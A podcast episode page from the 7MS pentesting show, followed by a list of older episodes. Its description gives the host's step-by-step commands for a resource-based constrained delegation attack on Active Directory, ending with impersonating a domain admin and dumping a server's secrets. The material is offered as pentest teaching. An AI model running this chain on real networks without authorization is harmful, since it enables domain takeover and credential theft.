7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Episoder(684)

7MS #107: I'm Going to PWAPT!

7MS #107: I'm Going to PWAPT!

Hey I'm going to PWAPT this week (http://www.eventbrite.com/e/practical-web-application-penetration-testing-with-tim-tomes-lanmaster53-tickets-16718889649), so in this episode I talk about that...and how I'll probably be too info-overloaded to record anything on Thursday :-). Oh, and I had a fun Web app pentest this week that I wanted to share some fun bits on.

3 Nov 20157min

7MS #106: A Day in the Life of an Information Security Analyst

7MS #106: A Day in the Life of an Information Security Analyst

A listener wrote in asking some questions about "a day in the life of" a security analyst, so here's my best stab at it!

30 Okt 201510min

7MS #105: OFFTOPIC-Big Bag of Random Sauce

7MS #105: OFFTOPIC-Big Bag of Random Sauce

Today's totally random episode covers: 1. How bad does this podcast's logo suck? 2. Does this podcast need a theme song? 3. Some interesting training I'm taking next week. 4. The Walking Dead - who should die? 5. Metal Gear Solid and my personal godmode strategy.

28 Okt 20159min

7MS #104: LANTurtle First Impressions

7MS #104: LANTurtle First Impressions

Hey I just got a LANTurtle and....these are my first impressions!

22 Okt 20157min

7MS #103: OFFTOPIC-I Was in a Movie Once

7MS #103: OFFTOPIC-I Was in a Movie Once

This is an off-topic episode about the time I was in the holiday comedy super-smash laugh-fest, Jingle All the Way.

20 Okt 20157min

7MS #102: Recon-ng!

7MS #102: Recon-ng!

I'm a big fan of Recon-ng and you should be too! Check it out - and learn more about Tim Tomes, its creator - at www.lanmaster53.com. And here's the video I mentioned in the podcast - my first look at Recon-ng in action: https://www.youtube.com/watch?v=vkmNTNl6urw

15 Okt 20158min

7MS #101: OFFTOPIC-I Am Chris Farley

7MS #101: OFFTOPIC-I Am Chris Farley

The new(ish) Chris Farley documentary is fantastic - see it!

14 Okt 20157min

7MS #100: Assessment Curses Can Be Blessings

7MS #100: Assessment Curses Can Be Blessings

Ever had an assessment that you thought would be the death of you? I had one recently, but after sticking it out, it turned out to be a blessing in disguise.

9 Okt 20157min

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